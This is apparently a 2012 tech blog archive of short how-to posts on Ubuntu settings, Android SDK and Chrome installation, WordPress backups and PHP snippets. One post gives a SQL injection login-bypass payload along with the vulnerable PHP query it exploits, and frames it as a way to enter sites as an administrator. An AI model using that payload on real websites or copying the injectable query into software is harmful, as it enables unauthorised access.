Sep 25, 2012

Add Open As Administrator to the Context Menu in Ubuntu


Do you want to enable the command ‘Open as Administrator’ to the context menu in Ubuntu 12.04. When this feature is enabled, you should be able to right-click any file or folder in nautilus and open it as an administrator or root. This will come in handy especially for new users who want to edit or modify files or folders owned by the root user or administrator.



To get started, press Ctrl + Alt + T on your keyboard to open Terminal. When it opens, run the commands below to download it.


 


wget http://www.liberiangeek.net/blog/tools/libnautilus-gksu.so


 


Next, copy the file to the folder using the following command.


 


sudo cp libnautilus-gksu.so /usr/lib/nautilus/extensions-3.0/


 


Restart your computer or use "nautilus -q" to view the changes.


 


Sep 24, 2012

How to find id of last inserted row in MYSQL using PHP


 



To find id (auto increment) value of last inserted row, put the following code into the PHP page.



<?php



$link = mysql_connect('localhost', 'mysql_usenamer', 'mysql_password');


if (!$link) {


    die('Could not connect:to the database ' . mysql_error());


}


mysql_select_db('mydb');


 


mysql_query("INSERT INTO mytable (user) values ('jijo')");


printf("Last inserted record has id %d\n", mysql_insert_id());


?>




Sep 22, 2012

Download and Install Android SDK in Ubuntu 12.04


Android SDK is a development environment for the Android mobile operating system which allows you to write applications for Android devices or gain elevated privileges on android devices with the help of third party software.



This brief tutorial is going to show you how to download and install it in Ubuntu 12.04. To install it, you first need to install Java JDK package or use the openJDK Java alternative that comes with Ubuntu.


 


Step 1 - Install Oracle Java Version


 


First we need to install openJDK version of Java. To install Oracle Java version.


To get started, press Ctrl + Alt + T on your keyboard to open the terminal. When it opens, run the commands below to install OpenJDK.


 


sudo apt-get install openjdk-6-jre openjdk-6-jdk icedtea6-plugin




Step 2 - Download SDK Package


 



Next, download AndroidSDK package by running the commands below. Now the current version was r20. Or click this link to download the .tgz archive file.


 


wget http://dl.google.com/android/android-sdk_r20-linux.tgz




Sep 19, 2012

Disable the Global Menu in Ubuntu


Since Unity Desktop was introduced in Ubuntu, all applications have used one global menu by default. Instead of each application having its own menu bar, it’s now setup that they all share the global menu bar. Maybe this is cool for some, but for others, it’s a real issue.



To get started, press Ctrl + Alt + T on your keyboard to open terminal. When it opens, run the commands below to disable it.


 


sudo apt-get autoremove appmenu-gtk appmenu-gtk3 appmenu-qt


 


Restart your computer to apply the changes.


 


Global menu



Sep 18, 2012

How to install flash player on Ubuntu


 



Method 1 : Using Terminal


 


Open terminal by pressing Ctrl +Alt + T


 


sudo apt-get install flashplugin-installer




 


Method 2: Using Ubuntu Software Center


 


Use the following steps to install flash player plugin


 


1. Click on the Ubuntu Software Center icon.


This icon located on the launcher bar at the left hand side of   the screen.


 


2.Type in "flashplugin-installer" on the search bar and press enter.


 


3.You should find the Adobe Flash plugin pop up in the search results.


 


4.Click on the "Install" button.


 

Sep 16, 2012

How to Install or uninstall .deb files


These files are Debian packages. The package files associated with Ubuntu have the .deb suffix because of Ubuntu's close relations with the Debian GNU/Linux distribution.



You will need administrative privileges to install a .deb file.



Method 1




To install a .deb file, simply double click on it, and then select Install Package



Install deb File





Sep 13, 2012

A simple Java Script Date Picker Function


 



A simple and effective date picker can be created using the following java script codes.



 






To download code - Click Here





Step 1



Create an index.html file and paste the following codes.



Sep 9, 2012

Disable the Recovery Mode in Ubuntu 12.04


Recovery Mode in Ubuntu allows you to restore your system, change user passwords and gain root access to your Ubuntu machine in case of an emergency.



Since anyone with physical access to your machine can change user passwords, whereby gaining total access to your machine, disabling this feature will protect you from folks with physical access who want to gain access via recovery mode illegally.


 


However, disabling this feature will also deny you access in case of an emergency when you need to access your computer via recovery mode.


 


So, be careful when doing this, and have a very good reason for turning recovery mode off.


 


To get started, press Ctrl + Alt + T on your keyboard to open the terminal. When it opens, run the commands below to open grub config file.


 


sudo gedit /etc/default/grub


 

How to Install Google Chrome in Ubuntu


 



To get started, press Ctrl – Alt – T on your keyboard to open the terminal. When it opens, copy and paste the commands below to download Google Chrome 32-bit deb package.


 


Method 1


 


wget https://dl.google.com/linux/direct/google-chrome-stable_current_i386.deb


 


Method 2


 


Download location:

    (32-bit): google-chrome-unstable_current_i386.deb




 


Next, run the commands below to install Google Chrome.


 


sudo dpkg -i google-chrome*


 

Sep 7, 2012

How to use PowerISO as ISO Mounter in windows OS


 



 



 


PowerISO has a built-in virtual drive, which can mount iso files and other CD / DVD image files. There is no need to install any other virtual drive software to mount ISO file. It is very convenient to mount an ISO file. You can mount it using the main program, using the shell context menu, or using the PowerISO virtual drive manager.


 


Usage1: Mount  ISO file using the main program:


 


Click the "Mount" button on toolbar. PowerISO shows the iso mounter menu.


 


Click a virtual drive from the popup menu.


 


Choose the iso file you want to mount, then click "Open" to mount it.


 


How to login as Administrator in website without having username and password


 


Method 1


 


If the PHP code in the login check page is like below


 


<?php


 


$username=$_POST['username'];


$password=$_POST['password'];


mysql_query("select * from user where username='$username' and password='$password'");


 


?>


 


Then we can easily login to the system without having any username or password. Change the value of username and password so that it bypasses login check.


 


Put the value of username : test1 


Put the value of password  : test2' or '0'='0


 


Then the PHP code in the login check page will be changed to


 


<?php


 


$username=$_POST['username'];


$password=$_POST['password'];


mysql_query("select * from user where username='test1' and password='test2' or '0'='0");


 


?>


 


Then 0=0 will always return a true value. Then database returns the first row from the user table so we can login as the first user.



Sep 3, 2012

How to backup wordpress site


Method 1



The simple and easy way to backup your wordpress site is to download and install “BackUpWordPress” pluggin.  By using this pluggin you can backup database as well as files.


 



 


Backup Files



 


After installing and activating the pluggin you can open “BackUpWordPress” pluggin by Tools --> Backups.You can change the settings and save.


 

Sep 2, 2012

How to send Email using PHP


 


Method 1 – Using phpMailer() function



First you need to download phpMailer from the following link



http://code.google.com/a/apache-extras.org/p/phpmailer/downloads/list



Or you can copy the following code and set username and password fields with your own gmail account username and password.



<html>



<head>



<title>PHPMailer - SMTP (Gmail) basic test</title>



</head>



<body>



<?php



//error_reporting(E_ALL);



error_reporting(E_STRICT);



date_default_timezone_set('America/Toronto');



require_once('../class.phpmailer.php');


Sep 1, 2012

How to find name of the current page in PHP


Method 1



To display full path name



<?php



echo $_SERVER['PHP_SELF'];



?>



Output ==> /public_html/index.php





Method 2



To display only the file name use the following query.



<?php



    $currentFile = $_SERVER["PHP_SELF"];



    $parts = Explode('/', $currentFile);



    echo $parts[count($parts) - 1];



?>



Output ==> index.php





Method 3



<?php



echo realpath(dirname(__FILE__));


 



?>



Output ==> C:\wamp\www\public_html\wp-content\plugins\exec-php\includes






 


Method 4


 


<?php


 


echo getcwd();


 


?>


 


Output ==> C:\wamp\www\public_html






 


Method 5


 


<?php


 


echo $file=$_SERVER['DOCUMENT_ROOT'];


 


?>


 


Output ==> C:/wamp/www/





Method 6




<?php


 


echo $_SERVER["SCRIPT_FILENAME"];


 


?>


 


Output ==> C:/wamp/www/public_html/index.php